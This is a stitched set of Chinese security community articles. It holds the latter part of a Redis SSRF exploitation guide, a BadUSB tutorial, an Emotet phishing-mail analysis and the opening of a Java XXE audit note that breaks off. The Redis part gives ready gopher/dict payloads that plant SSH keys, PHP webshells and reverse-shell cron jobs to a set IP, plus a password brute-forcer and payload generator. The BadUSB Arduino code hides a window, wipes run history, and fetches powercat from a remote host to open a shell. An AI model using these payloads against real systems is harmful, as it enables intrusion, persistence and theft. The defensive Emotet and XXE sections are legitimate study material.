%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
* 攻击效果
**（2）Dict协议利用**
* 组合payload
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config:set:dir:/root/.ssh/
dict://127.0.0.1:6379/config:set:dbfilename:authorized_keys
dict://127.0.0.1:6379/set:x:"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
dict://127.0.0.1:6379/save
* 问题探索
在测试第四条payload的时候虽然回显成功，但是，实际上在未处理编码的时候字符串里面的字符`+`在url里面会被当作空格，导致写入的公钥`ssh`无法生效，所以这里进行一次URL编码绕过限制
# 请求（编码）
?url=dict://127.0.0.1:6379/set:x:"%5Cn%5Cnssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm%2FRm%2FcaKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD%2FQaHHLFMYvNXrGJQC%2B9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE%2BvjhCTQSYPJahin%2Fs%2Fa%2BIYEcjqyvkiuWVDWg2GMViMwq5Yh%2FELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r%2BWxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2%2FDEzEqsQcveFWw7mhqfp9kNHP%2BAOv0wFwL9G8%2FglZEnGB%20root%40rose%5Cn%5Cn"
# 响应
+OK
+OK
# 查询
?url=dict://127.0.0.1:6379/get:x
# 响应（正常）
$394
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose
+OK
* 攻击效果
同上。
**写入定时任务反弹Shell**
**（1）Gopher协议利用**
* 原始payload
flushall
config set dir /var/spool/cron/
config set dbfilename root
set x '\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.150/9999 0>&1\n\n'
save
quit
* resp数据格式转换
##################### SSRF+Gopher->Redis Mode Choice #####################
#
# Mode 1：写入 Webshell For Web Service -> Effective dir
#
# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/
#
# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/
#
# Mode N：待添加 +++++++++++
#
##################### SSRF+Gopher->Redis Mode Choice #####################
Choice Mode：3
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.33.6.150/9999%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Process finished with exit code 0
* 二次编码：服务端默认会对gopher数据进行一次url解码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250Ax%250D%250A%252458%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.33.6.150%2F9999%25200%253E%25261%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A%2Fvar%2Fspool%2Fcron%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
* 攻击效果（For CentOS）
**（2）Dict协议利用**
* 组合payload
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.150/9999 0>&1\n\n'
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/save
* 问题探索
直接向url里面传入payload（第二条）会因为特殊字符显示错误
-ERR Protocol error: unbalanced quotes in request
通过一次编码即可绕过
# 请求
?url=dict://127.0.0.1:6379/set:x:'%5Cn%5Cn*%2F1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.33.6.150%2F9999%200%3E%261%5Cn%5Cn'
# 响应
+OK
+OK
# 查询
?url=dict://127.0.0.1:6379/get:x
# 响应
$62
\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.150/9999 0>&1\n\n
+OK
* 攻击效果
同上。
**ssrf+redis主从复制RCE**
**基于主从复制写入恶意文件**
在上文的描述中讲到使用`dict`协议遇到的问题，无法写入常规的`shell`【字符`?`无法规避】，当时探索的手法是利用`<script>`标签进行绕过，这里也可以利用主从复制进行绕过，具体过程如下：
* 环境
主服务器【恶意master】
192.168.8.185:6379（外网恶意master redis）
redis version 5.0.9
从服务器【受害机slave】
127.0.0.1:6379（公网IP：192.33.6.144）（内网slave redis）
redis version 4.0.9
* 主从复制
设置主从模式 For 从主机
?url=dict://127.0.0.1:6379/slaveof:192.168.8.185:6379
主主机写入恶意代码：利用主主机写入恶意数据从而复制传入从主机
192.168.8.185:6379> set x '<?php eval($_GET["qftm"]);?>'
OK
192.168.8.185:6379>
从主机查询同步情况
# 请求查询
?url=dict://127.0.0.1:6379/get:x
# 响应结果
$28
<?php eval($_GET["qftm"]);?>
+OK
组合payload向从主机（目标主机）写入恶意文件
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
dict://127.0.0.1:6379/slaveof:no:one
* 攻击效果
PS：除了上述写入webshell外，其他情况【写入定时任务、ssh公钥等】如果环境满足也是可以利用的，另外环境在`redis
4.X-5.X`的也可以考虑基于so扩展的主从复制rce。
**基于文件上传RCE**
如果网站存在文件上传漏洞且可以绕过限制上传`so`文件格式应用程序，则可以直接加载该扩展模块以RCE获取目标主机权限。
有利条件：redis加载so扩展模块与文件名称无关【文件名、文件后缀】，这种情况对于网站只做了后缀校验来说利用难度为0。
环境：网站存在ssrf+文件上传漏洞（仅支持图片后缀）
攻击：上传`exp.jpg`，ssrf+dict加载上传的模块rce
攻击效果如下：
192.33.6.144:6379> MODULE load /var/www/html/exp.jpg
OK
192.33.6.144:6379> system.exec "id"
"uid=0(root) gid=0(root) \xe7\xbb\x84=0(root)\n"
192.33.6.144:6379>
痕迹清理：模块卸载
192.33.6.144:6379> module list
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1
192.33.6.144:6379> MODULE unload system
OK
192.33.6.144:6379> module list
(empty list or set)
192.33.6.144:6379>
### 内网Redis授权+SSRF攻击
**ssrf+口令猜解**
很多时候在真实环境下，见到的redis存在授权，这个时候如果还想继续利用redis获取目标主机相应权限，就需要先拿到认证授权。
对于内网的redis应用一般的弱密码可以结合ssrf+dict/gopher进行相应的暴力破解获取认证。
**ssrf+dict协议认证**
* payload
?url=dict://127.0.0.1:6379/auth:your_password
* 认证情况下：默认访问内网redis需要认证
# 请求
http://192.33.6.144/index.php?url=dict://127.0.0.1:6379/info
# 响应
-NOAUTH Authentication required.
-NOAUTH Authentication required.
+OK
* 测试密码
# 请求
http://192.33.6.144/index.php?url=dict://127.0.0.1:6379/auth:redis
# 响应
-NOAUTH Authentication required.
-ERR invalid password
+OK
* 这里使用burpsuite进行协助爆破：抓取相应的数据包进行暴力破解
**ssrf+gopher协议认证**
除了使用dict协议进行认证外，同样可以使用gopher协议来进行认证
* payload
RESP格式数据:
*2
$4
AUTH
$6
123123
*1
$4
quit
gopher传输的tcp数据（二次编码）
*2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123123%250D%250A*1%250D%250A%25244%250D%250Aquit%250D%250A
由于gopher进行认证的话需要控制两个变量，即：密码长度以及密码值，这种情况无法直接使用burpsuite进行认证破解，编写如下爆破脚本进行认证
# -*- coding: utf-8 -*- """
@Author: Qftm
@Data : 2020/8/1
@Time : 17:40
@IDE : IntelliJ IDEA
"""
import requests
import urllib
passfile = open("./passwd.txt")
try:
for line in passfile.readlines():
passwd = str(line.strip('\n'))
length = len(passwd)
#print(passwd)
passwd = urllib.request.quote(passwd)
#print(passwd)
passwd = passwd.replace("%","%25")
#print(passwd)
payload = "http://192.33.6.144/index.php?url=gopher://127.0.0.1:6379/_*2%250D%250A%25244%250D%250AAUTH%250D%250A%2524{lengths}%250D%250A{passwds}%250D%250A*1%250D%250A%25244%250D%250Aquit%250D%250A".format(lengths=length,passwds=passwd)
resp = requests.get(url=payload)
#print(payload)
#print(resp.text)
if "-ERR invalid password" not in resp.text:
print()
print("###################### Success ######################")
print("# Url：" + payload)
print("# Resp:" + str(resp.content))
print("# Password：" + passwd)
print("###################### Success ######################")
print()
break
print("+++Test Password：" + passwd + " -->> Failed")
except Exception as e:
print(e)
验证效果
+++Test Password：cony -->> Failed
+++Test Password：coolfan -->> Failed
+++Test Password：coolgirl -->> Failed
+++Test Password：coolman -->> Failed
+++Test Password：cpfcpf -->> Failed
+++Test Password：cqisp -->> Failed
+++Test Password：crespo -->> Failed
、、、、、、、、、、
、、、、、、、、、、
+++Test Password：dasanlin -->> Failed
+++Test Password：dave -->> Failed
+++Test Password：david -->> Failed
+++Test Password：db811103 -->> Failed
+++Test Password：dd11 -->> Failed
+++Test Password：dddd -->> Failed
+++Test Password：dddddddd -->> Failed
+++Test Password：ddtt -->> Failed
+++Test Password：dear -->> Failed
+++Test Password：dekai -->> Failed
+++Test Password：dell -->> Failed
###################### Success ######################
# Url：http://192.33.6.144/index.php?url=gopher://127.0.0.1:6379/_*2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250Adengfeng%250D%250A*1%250D%250A%25244%250D%250Aquit%250D%250A
# Resp:b'+OK\r\n+OK\r\n'
# Password：dengfeng
###################### Success ######################
Process finished with exit code 0
**ssrf+口令认证攻击**
对于存在认证的redis，当拿到授权密码时就可以利用`gopher`协议协助进行在授权认证的情况下攻击内网redis应用。那么，同样，想一下这里可以利用`dict`协议吗，答案是不可以的，上面说过其特性，每次只能传输单行数据单条完整指令，也就导致其无法像gopher那样一次执行多条指令直接完成认证攻击。
**ssrf+gopher协议认证攻击**
通过上面口令猜解获取认证密码之后就可以进行认证攻击，过程如下
* 攻击脚本
# -*- coding: utf-8 -*- """
@Author: Qftm
@Data : 2020/8/12
@Time : 10:31
@IDE : IntelliJ IDEA
"""
import urllib
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
passwd = "dengfeng"
payload = protocol + ip + ":" + port + "/_"
def redis_resp_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__ == "__main__":
print("##################### SSRF+Gopher->Redis Mode Choice #####################")
print("#")
print("# Mode 1：写入 Webshell For Web Service -> Effective dir")
print("#")
print("# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/")
print("#")
print("# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/")
print("#")
print("# Mode N：待添加 +++++++++++")
print("#")
print("##################### SSRF+Gopher->Redis Mode Choice #####################")
try:
mode = input("Choice Mode：")
mode = int(mode)
if mode == 1:
shell = "\n\n<?php eval($_GET[\"qftm\"]);?>\n\n"
dbfilename = "test.php"
dir = "/var/www/html/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd = ["flushall",
"set x {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
elif mode == 2:
ssh_key_pub = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
dbfilename = "authorized_keys"
dir = "/root/.ssh/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd=["flushall",
"set x {}".format(ssh_key_pub.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
elif mode == 3:
crontab = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.150/9999 0>&1\n\n"
dbfilename = "root"
dir = "/var/spool/cron/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd = ["flushall",
"set x {}".format(crontab.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
except Exception as e:
print(e)
* 初次payload（含认证）
##################### SSRF+Gopher->Redis Mode Choice #####################
#
# Mode 1：写入 Webshell For Web Service -> Effective dir
#
# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/
#
# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/
#
# Mode N：待添加 +++++++++++
#
##################### SSRF+Gopher->Redis Mode Choice #####################
Choice Mode：1
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%248%0D%0Adengfeng%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22qftm%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Atest.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Process finished with exit code 0
* 最终payload（含认证、二次编码）
gopher://127.0.0.1:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250Adengfeng%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250Ax%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522qftm%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252414%250D%250A/var/www/html/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Atest.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
* 带认证的攻击效果
## 防护
* 升级redis至最新版
* 开启保护模式`protected-mode yes`
* 绑定本地`127.0.0.1`地址
* 设置强密码认证`requirepass xxxxxxxxxxxxxxxxxxxxxxxx`
* 替换部分具有恶意的指令
## 总结
关于`redis`的探索到这里也告一段落了，相关技术基本上都进行了涵盖，以及新思路(技术)的不断尝试、探索与发现，希望大家也能够在已有的技术上有所发现。
漏洞姿势万千，技术需要不断的探索，这个过程难免遇到各种问题，只有敢于探索才能成长。
## References
* [redis-documentation](https://redis.io/documentation)
* [redis-commands](https://redis.io/commands)
* [redis-tutorial](https://www.runoob.com/redis/redis-tutorial.html)
* [Redis 4.0: Redis Modules 模块](https://zhuanlan.zhihu.com/p/44685035)
* [Redis主从复制的原理](https://www.jianshu.com/p/4aa9591c3153)
* [Redis复制实现原理](https://www.cnblogs.com/hongmoshui/p/10594639.html)
* [15-redis-post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf)
* [Redis 基于主从复制的 RCE 利用方式](https://paper.seebug.org/975/)
* [redis-rogue-server](https://github.com/LoRexxar/redis-rogue-server)
* [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server)
* [Spring Data Redis <=2.1.0反序列化漏洞](https://xz.aliyun.com/t/2339)
* [细数 redis 的几种 getshell 方法](https://paper.seebug.org/1169)
* [掌阅iReader某站Python漏洞挖掘](https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html)
* [Redis漏洞利用与防御](https://www.freebuf.com/column/170710.html)
* [对一次 redis 未授权写入攻击的分析以及 redis 4.x RCE 学习](https://www.k0rz3n.com/2019/07/29/%E5%AF%B9%E4%B8%80%E6%AC%A1%20redis%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%86%99%E5%85%A5%E6%94%BB%E5%87%BB%E7%9A%84%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%20redis%204.x%20RCE%20%E5%AD%A6%E4%B9%A0/)
* [Redis 多维度角度下的攻击面](https://blog.csdn.net/qq_38154820/article/details/106330102)
* [浅析SSRF认证攻击Redis](https://www.anquanke.com/post/id/181599)
* [利用 Gopher 协议拓展攻击面](https://blog.chaitin.cn/gopher-attack-surfaces/)
* [redis安全学习小记](https://mp.weixin.qq.com/s/W9joCtUQfNA62ZWXwqMmsw)
* [redis数据库在渗透中的利用](https://xz.aliyun.com/t/8018) | 社区文章 |
# Badusb初识
## 0x00 前言
从暑期某集训中，偶然接触到赵师傅介绍的一种社工手段，badusb，不同于以前的那种U盘里带病毒，严格来说badusb不算是U盘，它也不提供存储功能。但是正因为它将恶意代码置于硬件中，使得杀软以及U盘格式化等防范措施都无效。
赵师傅的badusb，自带了wifi模块，对于物理隔离的内网也能在插入badusb后建立网络与外界连通，这也提供了一种有效的打击隔离内网的社工方法。
回去以后好奇买了一个玩玩，没有wifi模块，需要主机自带网络才能执行反弹shell等恶意操作。
之前接触到的一个项目[Chrome-Password-Dumper](https://github.com/roflsandwich/Chrome-Password-Dumper)，其中利用了powershell脚本中的IEX (New-Object
System.Net.Webclient).DownloadString()，实现远程获取powershell脚本并执行，真觉得它的功能强大（完美地贴合渗透..），正好可以利用于badusb中远程执行恶意脚本。
## 0x01 badusb介绍
BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备，用户插入BadUSB，就会自动执行预置在固件中的恶意代码。
Bad-Usb插入后，会模拟键盘鼠标对电脑进行操作，通过这些操作打开电脑的命令终端，并执行一条命令，这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括：窃取信息、反弹shell、发送邮件等，从而实现控制目标机或者窃取信息的目的。
## 0x02 获取途径
## 0x03 安装Arduino IDE
## 0x04 写入代码
**反弹shell示例代码**
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); //大小写绕过可能存在的中文输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口
//Keyboard.println("cmd.exe ");
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(300);
Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清除运行记录
delay(500);
Keyboard.println("POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xxx.xx.xx/powercat.ps1'); POWERCAT -c xx.xxx.xx.xx -p 43960 -e cmd");
delay(500);
//Keyboard.println("exit");
//Keyboard.press(KEY_CAPS_LOCK);
//Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
工具 →获取开发板信息
在工具下选好开发板（上图的ArduinoLeonardo）和端口，编程器选择USBasp
然后 编译 上传 即可。再次插入Badusb即可实现按键模拟过程。
## 0x05 拓展
* 反弹shell
* 利用powershell，将恶意脚本挂载置vps，badusb写入反弹shell代码，其中可以利用 -WindowStyle hidden来隐藏脚本至后台运行，以及 -ExecutionPolicy Bypass来绕过脚本执行策略
`POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object
System.Net.Webclient).DownloadString('http://your_vps_ip/xxx/powercat.ps1');
POWERCAT -c your_vps_ip -p 9999 -e cmd`
**PS：遇到UAC（用户访问控制）这种，键盘模拟也可以绕过（说是绕过，其实就是操作键盘按键来选择赋权），比如CMD的管理员模式，可以win+r打开运行后，输入cmd，再按住Shift+Ctrl+回车即可以管理员启动cmd，同时控制好延时时间，对弹出来的UAC，按住Alt即可出现Y/N对“是/否”的选择。或者直接操作左键+回车都可以选择到“是”来打开管理员cmd**
* 结合Chrome-Password-Dumper，窃取chorme保存用户数据并传给远程服务器
* 简单实现：chorme.ps 挂载vps，服务器挂python脚本监听端口
* 也可以结合采用FTP，流量加密等手段完善攻击过程实现
* Powershell-Mimikatz
同上利用方式，badusb中模拟按键打开powershell远程下载Mimikatz脚本执行；适当修改其脚本添加转发功能即可实现远程dump-password。
* 其他
永久后门、当前用户修改密码、键盘记录、强制关机、添加隐藏用户、盗取wifi密码等等。由于powershell能够做的事太多了，所以基本上能想象的攻击操作都能够通过这种方式实现。
## 0x06 后记
Powershell脚本的强大在于它能够很好地兼容Windows，
能很好地用于渗透，不乏像【nishang】、【empire】这样的powershell框架，所以学好它，会利用好它很有必要。本篇只是提供Badusb这一种攻击面的介绍，顺带拓展出powershell脚本用于渗透攻击的方便性。 | 社区文章 |
## 一、事件概述
某天下午收到公司员工报告，收到了疑似钓鱼邮件。随后对此钓鱼邮件展开分析，最终确定是Emotet家族木马。
## 二、处理过程
### 1\. 事件发现
邮件内容如下所示：
### 2\. 样本分析
下载附件中文件，发现是一个带密码的压缩包，使用邮件中密码解压，可以得到一个“8326629020974240005.xlsm”文件，如下所示：
xlsm是可以携带宏的Excel文件，将后缀名改为zip后解压，查看内容，可以看到“sharedStrings.xml”文件中使用`regsvr32.exe`远程加载了可疑内容，明显是钓鱼常用手段，
访问其中的链接，可以下载到恶意DLL样本文件,如下所示：
从压缩包中的“workbook.xml”可以看到，xlsm文件中存在多个隐藏的Sheet，并且在其中一个隐藏的Sheet中定义了其中一个单元格为`_xlnm.Auto_Open`，这类似于VBA宏中的`Sub
Auto_Open()`，当用户打开xlsm文件，点击启用宏时会自动执行，
macrosheets文件夹下的xml是混淆后的宏代码，如下所示：
在Mac上打开此xlsm文件，Excel会提示包含宏，是否选择禁用，此处选择禁用宏并打开，如下：
打开后可以看到是一份空的文档（Sheet1第一行覆盖了一张图片），这是因为有属性为隐藏的Sheet。此时可在Sheet1上右键，选择取消隐藏，如下可以看到，还存在5个被隐藏的Sheet：
Grrr1与Sbrr1是一份字典，用于混淆的宏代码还原：
EFWFSFG中定义了混淆后的代码，用于执行恶意代码：
结果与从压缩包中xml看到的结果相同。由于恶意代码被混淆，所以进行恢复，从最终恢复出的部分内容可以分析出是利用urlmon远程下载文件并执行：
从上述分析结果可以看出，此恶意xlsm文件利用了Excel4.0宏向受害者提供有效载荷，实现钓鱼攻击。
### 3\. 沙箱分析
使用沙箱分析此xlsm，从进程树可以看到，确实加载执行了远程文件
并且也有多家反病毒引擎报毒：
### 4\. 确定来源
在搜索引擎搜索xlsm文件中远程下载的URL，可以看到已经有人报告了此[URL](https://bazaar.abuse.ch/sample/55137d30c6e8639f33bf54c954069dcdd82d4e2e22b183f70f941c129d173905/)：
从MALWARE bazaar上可以看到，此URL被多家引擎标记为Emotet家族木马：
从引擎下载的Emotet家族使用的[XLSM](https://bazaar.abuse.ch/sample/297b603038fce97a02d5b5fc2d50af84519560dd16bf81099cb1b5be04fba9f3)文件和[DLL](https://bazaar.abuse.ch/sample/55137d30c6e8639f33bf54c954069dcdd82d4e2e22b183f70f941c129d173905/)文件通过逆向分析发现，文件结构、关键字段都和钓鱼样本中基本相同:
文件相似度也很高：
另外在[twitter](https://twitter.com/executemalware/status/1498830353842294789)也可以看到，相关威胁情报也曝出Emotet近期新增了
**粉色主题** 的xlsm钓鱼邮件，这从攻击手法和文件内容上都与本次收到的样本相同:
基于以上分析可以确定，本次收到的钓鱼邮件是Emotet家族木马。
## 三、结论建议
Emotet在2014年出现时只是一款银行木马，经过近几年的发展，Emotet的功能不断扩展，已经进化成为完整的恶意软件分发服务。Emotet主要通过发送钓鱼邮件的方式进行传播，邮件一般包含带密码的附件，附件中经常为doc、docm、xls、xlsm等带有恶意宏的office文件，所以收到存在可疑附件的邮件后要谨慎，不可随意打开。
本次钓鱼邮件由于员工警惕性较高，未下载打开邮件中的附件，所以未发生实质性危害。但由于不止一人收到了恶意邮件，并且邮件正文中存在员工邮箱和姓名，所以可以推断可能当前存在少量人员信息泄露的问题。 | 社区文章 |
# 前言
* 学习总结Java审计过程中笔记，审计方法
* 阅读要求：有简单Java代码基础，了解漏洞原理
* 阅读时长：30min 篇幅比较长
* * *
# 漏洞简介
简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
* * *
# 有回显
不说废话，先看效果，成功读取文本内容。tip: 本次测试中需要将`Content-Type: application/x-www-form-urlencoded`修改成`Content-Type: application/xml`不然就无法成功。
**代码分析漏洞成因：**
public String xxeDocumentBuilderReturn(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
}
}
sr.close();
System.out.println(buf.toString());
return buf.toString();
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
**不难发现我们只要清楚这四行代码功能，就能很好清楚Java解析XML机制。**
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is);
DocumentBuilderFactory是一个抽象工厂类，它不能直接实例化，但该类提供了一个newInstance方法
，这个方法会根据本地平台默认安装的解析器，自动创建一个工厂的对象并返回。
* * *
# 无回显
public String DocumentBuilder(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
